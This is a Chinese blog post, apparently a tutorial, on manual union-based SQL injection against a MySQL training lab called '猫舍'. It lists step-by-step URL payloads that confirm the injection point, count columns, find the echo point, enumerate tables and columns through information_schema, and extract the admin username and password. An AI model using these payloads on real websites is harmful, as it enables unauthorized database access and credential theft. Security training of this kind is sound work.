手工注入(猫舍为例)

第一步,判断是否存在sql注入漏洞

?id=1 and 1=1(and 1=1 可以去掉)
?id=1 and 1=2

第二步:判断字段数

在这里插入图片描述
?id=1 and 1=1 order by 1
?id=1 and 1=1 order by 2
?id=1 and 1=1 order by 3

第三步:判断回显点

?id=1 and 1=2 union select 1,2

第四步:查询相关内容

查询当前数据库名

?id=1 and 1=2 union select 1,database()

查询当前数据库版本

?id=1 and 1=2 union select 1,version()

查询当前数据库 表名

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

查询字段名

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1,1
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 2,1

查询字段内容

?id=1 and 1=2 union select 1,username from admin limit 0,1
?id=1 and 1=2 union select 1,password from admin limit 1,1
?id=1 and 1=2 union select 1,password from admin limit 0,1

手工注入还不如用工具,太累人啦

手注思路:

1.找注入点 → 2.猜解表名 → 3.猜解列名 → 4.暴出字段内容


用一个手工注入的实验为例(MySQL)

猫舍
在这里插入图片描述

第一步,判断是否存在sql注入漏洞

构造?id=1 and 1=1,回车
在这里插入图片描述
页面返回正常
构造 ?id=1 and 1=2 ,回车
在这里插入图片描述
页面不正常,初步判断这里 可能 存在一个注入漏洞

第二步:判断字段数

构造 ?id=1 and 1=1 order by 1 回车
在这里插入图片描述页面正常
构造 ?id=1 and 1=1 order by 2 回车
在这里插入图片描述
页面正常
构造 ?id=1 and 1=1 order by 3 回车
在这里插入图片描述
页面返回 错误,判断字段数为 2

第三步:判断回显点

构造 ?id=1 and 1=2 union select 1,2 回车
在这里插入图片描述
页面出现了 2 ,说明我们可以在数字 2 处显示我们想要的内容

第四步:查询相关内容

查询当前数据库名

构造 ?id=1 and 1=2 union select 1,database() 回车
在这里插入图片描述

查询当前数据库版本

构造 ?id=1 and 1=2 union select 1,version() 回车
在这里插入图片描述

查询当前数据库 表名

构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车
(此处table_schema=database()要注意)
在这里插入图片描述
绝大数情况下,管理员的账号密码都在admin表里

查询字段名

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1 回车
在这里插入图片描述
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1,1 回车
在这里插入图片描述
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 2,1 回车
在这里插入图片描述
查出 admin 表里 有 id username password 三个字段

查询字段内容

构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 回车
在这里插入图片描述
构造 ?id=1 and 1=2 union select 1,password from admin limit 1,1 回车
在这里插入图片描述
limit 1,1 没有回显,说明只有一个用户
构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1 回车
在这里插入图片描述
得到管理员账号和密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值